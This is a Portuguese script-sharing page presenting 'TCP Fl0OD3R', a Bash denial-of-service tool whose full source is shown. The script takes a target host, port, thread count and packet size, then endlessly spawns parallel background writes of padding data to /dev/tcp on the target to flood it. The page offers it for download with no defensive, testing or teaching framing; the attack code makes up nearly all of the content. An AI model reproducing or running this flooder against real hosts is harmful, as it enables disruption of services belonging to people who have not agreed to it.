TCP Flooder

Publicado por Matheus (última atualização em 18/11/2013)

[ Hits: 4.500 ]

Homepage: http://hc0der.blogspot.com

Download tcp-flood.bash




TCP flooder feito em Shell Script.

  



Esconder código-fonte

#!/bin/bash
# TCP Fl0OD3R 8y MMxM

error(){
    echo -e "\n\n[sorry dude] connection refused\n\n"
    exit;
}

help(){
name=$(basename $0)
cat <<_EXPLAIN

[+] TCP Fl0OD3R 8y MMxM
 |
 |
 *--> [ Options ]
 |
 |  (-x [target-destination]    )
 |  (-p [port-destination]      )
 |  (-t [threads]           )
 |  (-s [size-of-package {bytes}]   )
 |
 *--> [ Example ]

    $name -x 127.0.0.1 -p 3306 -t 20 -s 2096

_EXPLAIN
exit;
}

flood(){
    dest=$1
    port=$2
    pack=$3
    echo "$pack" > /dev/tcp/$dest/$port
}

[ "$1" ] || help;

while getopts x:p:s:t: OPT;
do
    case "$OPT" in
        "x") target="${OPTARG}";;
        "p") port="${OPTARG}";;
        "s") size="${OPTARG}";;
        "t") threads="${OPTARG}";;
        "?") help;;
    esac
done

[ $port ] || help;
[ $target ] || help;
[ $size ] || help;
[ $threads ] || help;

echo >/dev/tcp/$target/$port || error

pack=$(printf %"$size"s |tr " " "M")

echo -e "\n[+] Starting flood\n[*]Ctrl+c to stop !!!\n\n"
sleep 2

declare -A pids
nn=0
while [ 1 ]
do
    echo -ne "\r[$nn] Packets sent";
    for i in $(seq $threads)
    do
        flood $target $port $pack &
        pid=$!
        pids[$pid]=$i
        nn=$(($nn+1))
    done

    while [ -n "${pids[*]}" ]; do
        sleep 1
        for pid in "${!pids[@]}"; do
            if ! ps "$pid" >/dev/null; then
                unset pids[$pid]
            fi
        done

        if [ -z "${!pids[*]}" ]; then
            break
        fi
    done

done

Scripts recomendados

Localizador não interativo do Mozilla Thunderbird para Slackware

dcalc: Calculadora Com Conversão de Bases

Baixando arquivos do MediaFire

ob-install: um novo jeito de se configurar o Openbox

Killer


  

Comentários

Nenhum comentário foi encontrado.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner
Linux banner
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts